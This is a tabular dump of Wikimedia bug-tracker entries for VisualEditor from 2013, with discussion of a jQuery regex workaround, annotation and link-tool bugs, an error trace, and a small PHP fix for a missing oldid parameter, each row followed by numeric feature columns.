**Severity**: major
**See Also**:
URL"
232359,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,"(In reply to comment #5)
> (In reply to comment #0)
> > jQuery have WONTFIX'ed this bug (13821) so we'll have to work around.
> 
> Any link? http://bugs.jquery.com/report/13821 returns error.

http://bugs.jquery.com/ticket/13821 (in the see also field).",,,1367595136,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6538461538461537,0.6923076923076923,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

URL (in the see also field)."
232353,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,"Another place we had to work around:
https://gerrit.wikimedia.org/r/#/c/62028/",,,1367577189,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,"Another place we had to work around:
URL"
232349,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,"(In reply to comment #0)
> jQuery have WONTFIX'ed this bug (13821) so we'll have to work around.

Any link? http://bugs.jquery.com/report/13821 returns error.",,,1367562927,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,False,,,-9,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,1.0,"(In reply to comment #0)
QUOTE

Any link? URL returns error."
232343,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,*** Bug 47860 has been marked as a duplicate of this bug. ***,,,1367545048,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47860 has been marked as a duplicate of this bug. ***
232337,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,Ed's code is merged and will be going out with the regular deployment train on Monday.,,,1367097148,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9444444444444446,1.0,Ed's code is merged and will be going out with the regular deployment train on Monday.
232331,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,Related URL: https://gerrit.wikimedia.org/r/61180 (Gerrit Change I3df8f49b170c31da9610129d53cf8cb65dd5d5f8),,,1367066588,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3df8f49b170c31da9610129d53cf8cb65dd5d5f8)
232322,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,*** Bug 47712 has been marked as a duplicate of this bug. ***,,,1366992520,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47712 has been marked as a duplicate of this bug. ***
49680,VisualEditor: Saved annotated content cannot be unannotated,"This has reappeared (in live on hewiki and others) - if the page on load has bold annotation on some text, pressing the ""bold"" button doesn't remove bold but adds a second bold annotation (which can be removed, but not in a way that stops the text being bold).

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1366932000,1366937647.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-b7yvvcuza7umneartpgv,task_description,resolved,True,c1,1,True,False,True,-10,,1.0,0.0,0.0,1.0,3.0,12.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,10.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,4.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,3.675324675324675,0.6493506493506493,"This has reappeared (in live on hewiki and others) - if the page on load has bold annotation on some text, pressing the ""bold"" button doesn't remove bold but adds a second bold annotation (which can be removed, but not in a way that stops the text being bold).

--------------------------
**Version**: unspecified
**Severity**: major"
228458,VisualEditor: Saved annotated content cannot be unannotated,Merged and deployed.,,,1366937647,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-b7yvvcuza7umneartpgv,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Merged and deployed.
228454,VisualEditor: Saved annotated content cannot be unannotated,Roan fixing now.,,,1366934154,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-b7yvvcuza7umneartpgv,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,3.5,1.0,Roan fixing now.
228446,VisualEditor: Saved annotated content cannot be unannotated,Related URL: https://gerrit.wikimedia.org/r/60948 (Gerrit Change I77f00e63c8732420063b0453fede7f453083c913),,,1366934093,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-b7yvvcuza7umneartpgv,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I77f00e63c8732420063b0453fede7f453083c913)
49623,VisualEditor: Link inspector crashes when trying to annotate first character in the document,"Make a selection that includes the first character, and press the access key for creating a link (Ctrl+K?). You'll get a JS error.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1366853220,1368208438.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-67bjy5it2mluh5artfn6,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,12.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,3.75,0.7291666666666666,"Make a selection that includes the first character, and press the access key for creating a link (Ctrl+K?). You'll get a JS error.

--------------------------
**Version**: unspecified
**Severity**: normal"
225023,VisualEditor: Link inspector crashes when trying to annotate first character in the document,Mysteriously works upon updating to the current HEAD.,,,1367880698,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-67bjy5it2mluh5artfn6,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.111111111111111,1.0,Mysteriously works upon updating to the current HEAD.
225017,VisualEditor: Link inspector crashes when trying to annotate first character in the document,"I wanted to check this out, and I noticed that this fails (I reproduced the error) in Chrome and Firefox 20.x in Windows, but it works perfectly (no crash on first character) in my Firefox 20.x in Ubuntu.

Also, if it helps, here's the error I'm getting on Firebug:

Error: Error in Rangy Position module: Cannot get position for range [WrappedRange(<P>[4][<a href=""sdjfh"" titl]:0, <P>[4][<a href=""sdjfh"" titl]:0)]
https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.wordbreak&skin=vector&version=20130505T030747Z&*
Line 224

It seems it has something to do with the wordbreaks (??). Can there be a difference in wordbreaks that are used at the beginning of a document/paragraph between Linux and Windows? (Like ther'es a difference in endofline chars and whitespaces) ?

Not sure if it helps, but here's for sharing.",,,1367812636,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-67bjy5it2mluh5artfn6,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.5,0.5,0.5,1.0,1.0,0.0,0.0,0.0,1.0,4.0,0.5,0.0,0.0,0.5,2.5,0.0,3.5,11.5,0.5,1.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,3.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,11.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,4.0,1.5,14.0,1.5,3.5,5.5,0.0,0.0,0.0,0.0,3.0,0.5,1.0,0.0,5.5,11.5,8.0,2.5,1.5,0.0,5.5,0.0,0.5,2.0,0.0,1.0,0.0,0.0,1.0,3.8234177215189873,0.7234177215189873,"I wanted to check this out, and I noticed that this fails (I reproduced the error) in Chrome and Firefox 20.x in Windows, but it works perfectly (no crash on first character) in my Firefox 20.x in Ubuntu.

Also, if it helps, here's the error I'm getting on Firebug:

Error: Error in Rangy Position module: Cannot get position for range [WrappedRange(<P>[4][<a href=""sdjfh"" titl]:0, <P>[4][<a href=""sdjfh"" titl]:0)]
URL
Line 224

It seems it has something to do with the wordbreaks (??). Can there be a difference in wordbreaks that are used at the beginning of a document/paragraph between Linux and Windows? (Like ther'es a difference in endofline chars and whitespaces) ?

Not sure if it helps, but here's for sharing."
49434,VisualEditor: No oldid is sent on POST to Parsoid,"As the title says. The bug seems to be in postHTML:

array(
        'postData' => array( 'content' => $html ),
        'timeout' => $wgVisualEditorParsoidTimeout,
        'oldid' => $parserParams['oldid']
)


should be:

array(
        'postData' => array( 'content' => $html, 
                             'oldid' =>  $parserParams['oldid']),
        'timeout' => $wgVisualEditorParsoidTimeout
)

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1366408980,1366641892.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-uw2enw4anj5qqfz3lyei,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,1.5,1.5,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,3.7033898305084745,0.5254237288135594,"As the title says. The bug seems to be in postHTML:

array(
        'postData' => array( 'content' => $html ),
        'timeout' => $wgVisualEditorParsoidTimeout,
        'oldid' => $parserParams['oldid']
)


should be:

array(
        'postData' => array( 'content' => $html, 
                             'oldid' =>  $parserParams['oldid']),
        'timeout' => $wgVisualEditorParsoidTimeout
)

--------------------------
**Version**: unspecified
**Severity**: normal"
213019,VisualEditor: No oldid is sent on POST to Parsoid,*** Bug 47498 has been marked as a duplicate of this bug. ***,,,1366641916,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-uw2enw4anj5qqfz3lyei,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47498 has been marked as a duplicate of this bug. ***
213016,VisualEditor: No oldid is sent on POST to Parsoid,Merged; to go out in next push as a critical priority.,,,1366641892,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uw2enw4anj5qqfz3lyei,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,1.0,Merged; to go out in next push as a critical priority.
213012,VisualEditor: No oldid is sent on POST to Parsoid,Related URL: https://gerrit.wikimedia.org/r/60082 (Gerrit Change Ib1b7079a7fd3357903e5a14795ed0d2f2bdc5d16),,,1366409690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uw2enw4anj5qqfz3lyei,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ib1b7079a7fd3357903e5a14795ed0d2f2bdc5d16)
213007,VisualEditor: No oldid is sent on POST to Parsoid,Verified that this fixes the problem and lets Parsoid actually use selective serialization. Current production code does not use selective serialization for this reason.,,,1366409237,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-uw2enw4anj5qqfz3lyei,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.615384615384615,0.8076923076923077,Verified that this fixes the problem and lets Parsoid actually use selective serialization. Current production code does not use selective serialization for this reason.
213004,VisualEditor: No oldid is sent on POST to Parsoid,This would explain a great deal. :-),,,1366409214,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uw2enw4anj5qqfz3lyei,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,This would explain a great deal. :-)
49413,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use","The link tool showing ""undefined"" in step 5 of the bug report

1. Hit an article on English Wikipedia and click ""Edit"" to invoke Visual Editor. I used http://en.wikipedia.org/wiki/Savage%2C_Montana.

2. Double-click any word to highlight it. I used the first word of the ""History"" section, ""Savage"".

3. Click the Link Tool icon, and the tool pops up.

4. Choose any article title in the dropdown (I chose ""Savage Land"") and press Enter.

5. The dropdown closes, and in the tool's text input, instead of saying ""Savage Land,"" it says ""undefined."" (See screenshot to be uploaded.)

6. Now click outside the tool -- somewhere else on the article. The tool becomes completely blank (see second screenshot) and article text disappears.

--------------------------
**Version**: unspecified
**Severity**: critical

**Attached**: {F10425}",Unbreak Now!,100.0,1366381800,1366919875.0,PHID-USER-o5tv5cyrple4fn5xqopm,False,,False,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_description,resolved,True,c1,1,False,False,True,-11,,1.0,0.0,0.5,0.5,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,1.5,0.0,2.5,6.5,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.5,2.0,1.5,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.5,15.5,0.0,2.5,7.5,0.0,0.0,0.0,0.0,5.5,0.0,2.0,0.0,2.5,6.5,6.5,0.0,7.0,0.0,2.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,1.5,3.428571428571429,0.6020408163265306,"The link tool showing ""undefined"" in step 5 of the bug report

1. Hit an article on English Wikipedia and click ""Edit"" to invoke Visual Editor. I used URL

2. Double-click any word to highlight it. I used the first word of the ""History"" section, ""Savage"".

3. Click the Link Tool icon, and the tool pops up.

4. Choose any article title in the dropdown (I chose ""Savage Land"") and press Enter.

5. The dropdown closes, and in the tool's text input, instead of saying ""Savage Land,"" it says ""undefined."" (See screenshot to be uploaded.)

6. Now click outside the tool -- somewhere else on the article. The tool becomes completely blank (see second screenshot) and article text disappears.

--------------------------
**Version**: unspecified
**Severity**: critical

**Attached**: {F10425}"
211716,"[Regression] VisualEditor: Link tool produces ""undefined"" in normal use",Now fixed by gerrit 60907 - thanks Trevor!,,,1366919875,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2kjxh5erw27qfzcnj2zn,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,Now fixed by gerrit 60907 - thanks Trevor!
